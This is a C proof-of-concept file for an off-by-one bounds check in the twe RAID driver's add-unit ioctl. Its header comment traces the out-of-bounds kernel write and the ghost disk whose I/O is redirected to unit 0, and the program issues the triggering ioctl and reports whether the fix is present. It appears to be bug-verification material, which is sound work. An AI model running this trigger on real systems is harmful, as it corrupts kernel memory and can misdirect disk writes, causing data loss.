/*
 * DF-4179 PoC - twe_add_unit off-by-one accepts unit == TWE_MAX_UNITS (16).
 *
 * Kernel path:
 *   ioctl(/dev/tweN, TWEIO_ADD_UNIT, &unit) with unit = 16
 *     -> twe_ioctl (twe.c:674)
 *     -> twe_add_unit (twe.c:202)
 *   bound check at twe.c:212 is  unit > TWE_MAX_UNITS  (should be >=)
 *   => unit 16 passes
 *   => dr = &sc->twe_drive[16]  (twe.c:226) - one struct past the
 *      16-element array (twevar.h:136); twe_drive[16] overlaps
 *      sc->twe_aen_queue[] (twevar.h:139).
 *   If the (bogus) unit-summary byte read at drives->data[16] (twe.c:228)
 *   reports "online", the function writes controller-derived geometry
 *   into the out-of-bounds struct (twe.c:236-272: td_size, td_state,
 *   td_type, td_heads/sectors/cylinders, td_twe_unit) and attaches a ghost
 *   twed disk via twe_attach_drive (writes dr->td_disk, twe_freebsd.c:570).
 *
 * Expected on affected hardware (bug present): ioctl returns 0 and a ghost
 * twedN unit appears (dmesg: "Unit 16, ..."); subsequent TWEIO_DEL_UNIT(16)
 * is rejected by the correct `>=` check in twe_del_unit (twe.c:291), and
 * the ghost disk's td_twe_unit (16) is truncated into the 4-bit
 * cmd->io.unit field on every I/O (twe.c:448) -> I/O directed at unit 0.
 *
 * Expected with fix: ioctl returns EINVAL for unit 16.
 *
 * Build:  cc -O -o twe_addunit16 twe_addunit16.c
 * Run:    ./twe_addunit16 /dev/twe0 [unit]      (default unit 16)
 *
 * Requires the /dev/tweN control node (root:operator 0600).
 */
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

#define TWEIO_ADD_UNIT		_IOW ('U', 107, int)
#define TWE_MAX_UNITS		16

int
main(int argc, char **argv)
{
	char *dev = argv[1] ? argv[1] : "/dev/twe0";
	int unit = argc > 2 ? atoi(argv[2]) : TWE_MAX_UNITS;
	int fd, rc;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", dev, strerror(errno));
		exit(1);
	}
	printf("TWEIO_ADD_UNIT(unit=%d) [TWE_MAX_UNITS=%d] ...\n",
	       unit, TWE_MAX_UNITS);
	rc = ioctl(fd, TWEIO_ADD_UNIT, &unit);
	if (rc < 0)
		printf("=> rejected: %s  %s\n", strerror(errno),
		       errno == EINVAL ? "(expected with fix)" : "");
	else
		printf("=> ACCEPTED: off-by-one confirmed (ghost unit %d "
		       "attached; OOB write into sc->twe_drive[16])\n", unit);
	close(fd);
	return (rc < 0);
}
